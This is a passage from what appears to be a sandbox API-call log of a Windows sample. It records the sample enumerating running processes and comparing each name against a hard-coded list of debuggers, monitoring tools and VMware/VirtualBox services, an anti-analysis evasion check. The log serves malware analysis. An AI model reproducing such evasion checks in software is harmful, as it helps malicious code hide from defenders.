(lpFirst="wininit.exe", lpSrch="vmtoolsd.exe") returned 0x0 [0283.088] StrStrIA (lpFirst="wininit.exe", lpSrch="vm3dservice.exe") returned 0x0 [0283.088] StrStrIA (lpFirst="wininit.exe", lpSrch="VGAuthService.exe") returned 0x0 [0283.088] StrStrIA (lpFirst="wininit.exe", lpSrch="pr0c3xp.exe") returned 0x0 [0283.088] StrStrIA (lpFirst="wininit.exe", lpSrch="ProcessHacker.exe") returned 0x0 [0283.088] StrStrIA (lpFirst="wininit.exe", lpSrch="CFF Explorer.exe") returned 0x0 [0283.088] StrStrIA (lpFirst="wininit.exe", lpSrch="dumpcap.exe") returned 0x0 [0283.088] StrStrIA (lpFirst="wininit.exe", lpSrch="Wireshark.exe") returned 0x0 [0283.088] StrStrIA (lpFirst="wininit.exe", lpSrch="idaq.exe") returned 0x0 [0283.088] StrStrIA (lpFirst="wininit.exe", lpSrch="idaq64.exe") returned 0x0 [0283.088] StrStrIA (lpFirst="wininit.exe", lpSrch="TPAutoConnect.exe") returned 0x0 [0283.088] StrStrIA (lpFirst="wininit.exe", lpSrch="ResourceHacker.exe") returned 0x0 [0283.088] StrStrIA (lpFirst="wininit.exe", lpSrch="vmacthlp.exe") returned 0x0 [0283.088] StrStrIA (lpFirst="wininit.exe", lpSrch="OLLYDBG.EXE") returned 0x0 [0283.089] StrStrIA (lpFirst="wininit.exe", lpSrch="windbg.exe") returned 0x0 [0283.089] StrStrIA (lpFirst="wininit.exe", lpSrch="bds-vision-agent-nai.exe") returned 0x0 [0283.089] StrStrIA (lpFirst="wininit.exe", lpSrch="bds-vision-apis.exe") returned 0x0 [0283.089] StrStrIA (lpFirst="wininit.exe", lpSrch="bds-vision-agent-app.exe") returned 0x0 [0283.089] StrStrIA (lpFirst="wininit.exe", lpSrch="MultiAnalysis_v1.0.294.exe") returned 0x0 [0283.089] StrStrIA (lpFirst="wininit.exe", lpSrch="x32dbg.exe") returned 0x0 [0283.089] StrStrIA (lpFirst="wininit.exe", lpSrch="VBoxTray.exe") returned 0x0 [0283.089] StrStrIA (lpFirst="wininit.exe", lpSrch="VBoxService.exe") returned 0x0 [0283.089] StrStrIA (lpFirst="wininit.exe", lpSrch="Tcpview.exe") returned 0x0 [0283.089] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0283.090] lstrcmpiA (lpString1="Fiddler.exe", lpString2="csrss.exe") returned 1 [0283.090] lstrcmpiA (lpString1="samp1e.exe", lpString2="csrss.exe") returned 1 [0283.090] lstrcmpiA (lpString1="sample.exe", lpString2="csrss.exe") returned 1 [0283.090] lstrcmpiA (lpString1="runsample.exe", lpString2="csrss.exe") returned 1 [0283.090] lstrcmpiA (lpString1="lordpe.exe", lpString2="csrss.exe") returned 1 [0283.090] lstrcmpiA (lpString1="regshot.exe", lpString2="csrss.exe") returned 1 [0283.090] lstrcmpiA (lpString1="Autoruns.exe", lpString2="csrss.exe") returned -1 [0283.090] lstrcmpiA (lpString1="dsniff.exe", lpString2="csrss.exe") returned 1 [0283.090] lstrcmpiA (lpString1="VBoxTray.exe", lpString2="csrss.exe") returned 1 [0283.090] lstrcmpiA (lpString1="HashMyFiles.exe", lpString2="csrss.exe") returned 1 [0283.090] lstrcmpiA (lpString1="ProcessHacker.exe", lpString2="csrss.exe") returned 1 [0283.090] lstrcmpiA (lpString1="Procmon.exe", lpString2="csrss.exe") returned 1 [0283.090] lstrcmpiA (lpString1="Procmon64.exe", lpString2="csrss.exe") returned 1 [0283.090] lstrcmpiA (lpString1="netmon.exe", lpString2="csrss.exe") returned 1 [0283.090] lstrcmpiA (lpString1="vmtoolsd.exe", lpString2="csrss.exe") returned 1 [0283.090] lstrcmpiA (lpString1="vm3dservice.exe", lpString2="csrss.exe") returned 1 [0283.090] lstrcmpiA (lpString1="VGAuthService.exe", lpString2="csrss.exe") returned 1 [0283.090] lstrcmpiA (lpString1="pr0c3xp.exe", lpString2="csrss.exe") returned 1 [0283.091] lstrcmpiA (lpString1="ProcessHacker.exe", lpString2="csrss.exe") returned 1 [0283.091] lstrcmpiA (lpString1="CFF Explorer.exe", lpString2="csrss.exe") returned -1 [0283.091] lstrcmpiA (lpString1="dumpcap.exe", lpString2="csrss.exe") returned 1 [0283.091] lstrcmpiA (lpString1="Wireshark.exe", lpString2="csrss.exe") returned 1 [0283.091] lstrcmpiA (lpString1="idaq.exe", lpString2="csrss.exe") returned 1 [0283.091] lstrcmpiA (lpString1="idaq64.exe", lpString2="csrss.exe") returned 1 [0283.091] lstrcmpiA (lpString1="TPAutoConnect.exe", lpString2="csrss.exe") returned 1 [0283.091] lstrcmpiA (lpString1="ResourceHacker.exe", lpString2="csrss.exe") returned 1 [0283.091] lstrcmpiA (lpString1="vmacthlp.exe", lpString2="csrss.exe") returned 1 [0283.091] lstrcmpiA (lpString1="OLLYDBG.EXE", lpString2="csrss.exe") returned 1 [0283.091] lstrcmpiA (lpString1="windbg.exe", lpString2="csrss.exe") returned 1 [0283.091] lstrcmpiA (lpString1="bds-vision-agent-nai.exe", lpString2="csrss.exe") returned -1 [0283.091] lstrcmpiA (lpString1="bds-vision-apis.exe", lpString2="csrss.exe") returned -1 [0283.091] lstrcmpiA (lpString1="bds-vision-agent-app.exe", lpString2="csrss.exe") returned -1 [0283.091] lstrcmpiA (lpString1="MultiAnalysis_v1.0.294.exe", lpString2="csrss.exe") returned 1 [0283.091] lstrcmpiA (lpString1="x32dbg.exe", lpString2="csrss.exe") returned 1 [0283.091] lstrcmpiA (lpString1="VBoxTray.exe", lpString2="csrss.exe") returned 1 [0283.091] lstrcmpiA (lpString1="VBoxService.exe", lpString2="csrss.exe") returned 1 [0283.091] lstrcmpiA (lpString1="Tcpview.exe", lpString2="csrss.exe") returned 1 [0283.091] StrStrIA (lpFirst="csrss.exe", lpSrch="Fiddler.exe") returned 0x0 [0283.091] StrStrIA (lpFirst="csrss.exe", lpSrch="samp1e.exe") returned 0x0 [0283.092] StrStrIA (lpFirst="csrss.exe", lpSrch="sample.exe") returned 0x0 [0283.092] StrStrIA (lpFirst="csrss.exe", lpSrch="runsample.exe") returned 0x0 [0283.092] StrStrIA (lpFirst="csrss.exe", lpSrch="lordpe.exe") returned 0x0 [0283.092] StrStrIA (lpFirst="csrss.exe", lpSrch="regshot.exe") returned 0x0 [0283.092] StrStrIA (lpFirst="csrss.exe", lpSrch="Autoruns.exe") returned 0x0 [0283.092] StrStrIA (lpFirst="csrss.exe", lpSrch="dsniff.exe") returned 0x0 [0283.092] StrStrIA (lpFirst="csrss.exe", lpSrch="VBoxTray.exe") returned 0x0 [0283.092] StrStrIA (lpFirst="csrss.exe", lpSrch="HashMyFiles.exe") returned 0x0 [0283.092] StrStrIA (lpFirst="csrss.exe", lpSrch="ProcessHacker.exe") returned 0x0 [0283.092] StrStrIA (lpFirst="csrss.exe", lpSrch="Procmon.exe") returned 0x0 [0283.092] StrStrIA (lpFirst="csrss.exe", lpSrch="Procmon64.exe") returned 0x0 [0283.092] StrStrIA (lpFirst="csrss.exe", lpSrch="netmon.exe") returned 0x0 [0283.092] StrStrIA (lpFirst="csrss.exe", lpSrch="vmtoolsd.exe") returned 0x0 [0283.092] StrStrIA (lpFirst="csrss.exe", lpSrch="vm3dservice.exe") returned 0x0 [0283.092] StrStrIA (lpFirst="csrss.exe", lpSrch="VGAuthService.exe") returned 0x0 [0283.092] StrStrIA (lpFirst="csrss.exe", lpSrch="pr0c3xp.exe") returned 0x0 [0283.092] StrStrIA (lpFirst="csrss.exe", lpSrch="ProcessHacker.exe") returned 0x0 [0283.092] StrStrIA (lpFirst="csrss.exe", lpSrch="CFF Explorer.exe") returned 0x0 [0283.092] StrStrIA (lpFirst="csrss.exe", lpSrch="dumpcap.exe") returned 0x0 [0283.093] StrStrIA (lpFirst="csrss.exe", lpSrch="Wireshark.exe") returned 0x0 [0283.093] StrStrIA (lpFirst="csrss.exe", lpSrch="idaq.exe") returned 0x0 [0283.093] StrStrIA (lpFirst="csrss.exe", lpSrch="idaq64.exe") returned 0x0 [0283.093] StrStrIA (lpFirst="csrss.exe", lpSrch="TPAutoConnect.exe") returned 0x0 [0283.093] StrStrIA (lpFirst="csrss.exe", lpSrch="ResourceHacker.exe") returned 0x0 [0283.093] StrStrIA (lpFirst="csrss.exe", lpSrch="vmacthlp.exe") returned 0x0 [0283.093] StrStrIA (lpFirst="csrss.exe", lpSrch="OLLYDBG.EXE") returned 0x0 [0283.093] StrStrIA (lpFirst="csrss.exe", lpSrch="windbg.exe") returned 0x0 [0283.093] StrStrIA (lpFirst="csrss.exe", lpSrch="bds-vision-agent-nai.exe") returned 0x0 [0283.093] StrStrIA (lpFirst="csrss.exe", lpSrch="bds-vision-apis.exe") returned 0x0 [0283.093] StrStrIA (lpFirst="csrss.exe", lpSrch="bds-vision-agent-app.exe") returned 0x0 [0283.093] StrStrIA (lpFirst="csrss.exe", lpSrch="MultiAnalysis_v1.0.294.exe") returned 0x0 [0283.093] StrStrIA (lpFirst="csrss.exe", lpSrch="x32dbg.exe") returned 0x0 [0283.093] StrStrIA (lpFirst="csrss.exe", lpSrch="VBoxTray.exe") returned 0x0 [0283.093] StrStrIA (lpFirst="csrss.exe", lpSrch="VBoxService.exe") returned 0x0 [0283.093] StrStrIA (lpFirst="csrss.exe", lpSrch="Tcpview.exe") returned 0x0 [0283.093] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0283.094] lstrcmpiA (lpString1="Fiddler.exe", lpString2="winlogon.exe") returned -1 [0283.094] lstrcmpiA (lpString1="samp1e.exe", lpString2="winlogon.exe") returned -1 [0283.094] lstrcmpiA (lpString1="sample.exe", lpString2="winlogon.exe") returned -1 [0283.094] lstrcmpiA (lpString1="runsample.exe", lpString2="winlogon.exe") returned -1 [0283.094] lstrcmpiA (lpString1="lordpe.exe", lpString2="winlogon.exe") returned -1 [0283.094] lstrcmpiA (lpString1="regshot.exe", lpString2="winlogon.exe") returned -1 [0283.094] lstrcmpiA (lpString1="Autoruns.exe", lpString2="winlogon.exe") returned -1 [0283.094] lstrcmpiA (lpString1="dsniff.exe", lpString2="winlogon.exe") returned -1 [0283.094] lstrcmpiA (lpString1="VBoxTray.exe", lpString2="winlogon.exe") returned -1 [0283.094] lstrcmpiA (lpString1="HashMyFiles.exe", lpString2="winlogon.exe") returned -1 [0283.094] lstrcmpiA (lpString1="ProcessHacker.exe", lpString2="winlogon.exe") returned -1 [0283.095] lstrcmpiA (lpString1="Procmon.exe", lpString2="winlogon.exe") returned -1 [0283.095] lstrcmpiA (lpString1="Procmon64.exe", lpString2="winlogon.exe") returned -1 [0283.095] lstrcmpiA (lpString1="netmon.exe", lpString2="winlogon.exe") returned -1 [0283.095] lstrcmpiA (lpString1="vmtoolsd.exe", lpString2="winlogon.exe") returned -1 [0283.095] lstrcmpiA (lpString1="vm3dservice.exe", lpString2="winlogon.exe") returned -1 [0283.095] lstrcmpiA (lpString1="VGAuthService.exe", lpString2="winlogon.exe") returned -1 [0283.095] lstrcmpiA (lpString1="pr0c3xp.exe", lpString2="winlogon.exe") returned -1 [0283.095] lstrcmpiA (lpString1="ProcessHacker.exe", lpString2="winlogon.exe") returned -1 [0283.095] lstrcmpiA (lpString1="CFF Explorer.exe", lpString2="winlogon.exe") returned -1 [0283.095] lstrcmpiA (lpString1="dumpcap.exe", lpString2="winlogon.exe") returned -1 [0283.095] lstrcmpiA (lpString1="Wireshark.exe", lpString2="winlogon.exe") returned 1 [0283.095] lstrcmpiA (lpString1="idaq.exe", lpString2="winlogon.exe") returned -1 [0283.095] lstrcmpiA (lpString1="idaq64.exe", lpString2="winlogon.exe") returned -1 [0283.095] lstrcmpiA (lpString1="TPAutoConnect.exe", lpString2="winlogon.exe") returned -1 [0283.095] lstrcmpiA (lpString1="ResourceHacker.exe", lpString2="winlogon.exe") returned -1 [0283.095] lstrcmpiA (lpString1="vmacthlp.exe", lpString2="winlogon.exe") returned -1 [0283.107] StrStrIA (lpFirst="winlogon.exe", lpSrch="Fiddler.exe") returned 0x0 [0283.107] StrStrIA (lpFirst="winlogon.exe", lpSrch="samp1e.exe") returned 0x0 [0283.107] StrStrIA (lpFirst="winlogon.exe", lpSrch="sample.exe") returned 0x0 [0283.107] StrStrIA (lpFirst="winlogon.exe", lpSrch="runsample.exe") returned 0x0 [0283.107] StrStrIA (lpFirst="winlogon.exe", lpSrch="lordpe.exe") returned 0x0 [0283.107] StrStrIA (lpFirst="winlogon.exe", lpSrch="regshot.exe") returned 0x0 [0283.107] StrStrIA (lpFirst="winlogon.exe", lpSrch="Autoruns.exe") returned 0x0 [0283.107] StrStrIA (lpFirst="winlogon.exe", lpSrch="dsniff.exe") returned 0x0 [0283.107] StrStrIA (lpFirst="winlogon.exe", lpSrch="VBoxTray.exe") returned 0x0 [0283.107] StrStrIA (lpFirst="winlogon.exe", lpSrch="HashMyFiles.exe") returned 0x0 [0283.108] StrStrIA (lpFirst="winlogon.exe", lpSrch="ProcessHacker.exe") returned 0x0 [0283.108] StrStrIA (lpFirst="winlogon.exe", lpSrch="Procmon.exe") returned 0x0 [0283.108] StrStrIA (lpFirst="winlogon.exe", lpSrch="Procmon64.exe") returned 0x0 [0283.108] StrStrIA (lpFirst="winlogon.exe", lpSrch="netmon.exe") returned 0x0 [0283.108] StrStrIA (lpFirst="winlogon.exe", lpSrch="vmtoolsd.exe") returned 0x0 [0283.108] StrStrIA (lpFirst="winlogon.exe", lpSrch="vm3dservice.exe") returned 0x0 [0283.108] StrStrIA (lpFirst="winlogon.exe", lpSrch="VGAuthService.exe") returned 0x0 [0283.108] StrStrIA (lpFirst="winlogon.exe", lpSrch="pr0c3xp.exe") returned 0x0 [0283.108] StrStrIA (lpFirst="winlogon.exe", lpSrch="ProcessHacker.exe") returned 0x0 [0283.108] StrStrIA (lpFirst="winlogon.exe", lpSrch="CFF Explorer.exe") returned 0x0 [0283.108] StrStrIA (lpFirst="winlogon.exe", lpSrch="dumpcap.exe") returned 0x0 [0283.108] StrStrIA (lpFirst="winlogon.exe", lpSrch="Wireshark.exe") returned 0x0 [0283.108] StrStrIA (lpFirst="winlogon.exe", lpSrch="idaq.exe") returned 0x0 [0283.109] StrStrIA (lpFirst="winlogon.exe", lpSrch="idaq64.exe") returned 0x0 [0283.109] StrStrIA (lpFirst="winlogon.exe", lpSrch="TPAutoConnect.exe") returned 0x0 [0283.109] StrStrIA (lpFirst="winlogon.exe", lpSrch="ResourceHacker.exe") returned 0x0 [0283.109] StrStrIA (lpFirst="winlogon.exe", lpSrch="vmacthlp.exe") returned 0x0 [0283.109] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0283.110] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0283.111] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.112] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0283.113] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0283.114] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.115] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0283.116] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x55, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.117] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.118] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.119] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.120] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.120] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.121] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.122] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.123] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.124] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.125] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0283.126] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.126] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x6ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0283.128] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0283.128] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0283.129] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x7b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0283.130] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0283.131] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0283.131] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0283.132] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0283.133] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0283.134] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0283.135] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfa0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="makeobject.exe")) returned 1 [0283.136] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="initiative lab lindsay.exe")) returned 1 [0283.137] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="physicalillustrateder.exe")) returned 1 [0283.138] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="concluded rochester discussed.exe")) returned 1 [0283.139] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="techno.exe")) returned 1 [0283.139] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="narrativehosting.exe")) returned 1 [0283.140] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="address.exe")) returned 1 [0283.141] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cet-algeria-municipal.exe")) returned 1 [0283.142] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lawyers-cohen-accomplish.exe")) returned 1 [0283.150] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="photo.exe")) returned 1 [0283.151] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="jury photographic recommend.exe")) returned 1 [0283.152] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="teeth.exe")) returned 1 [0283.152] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, 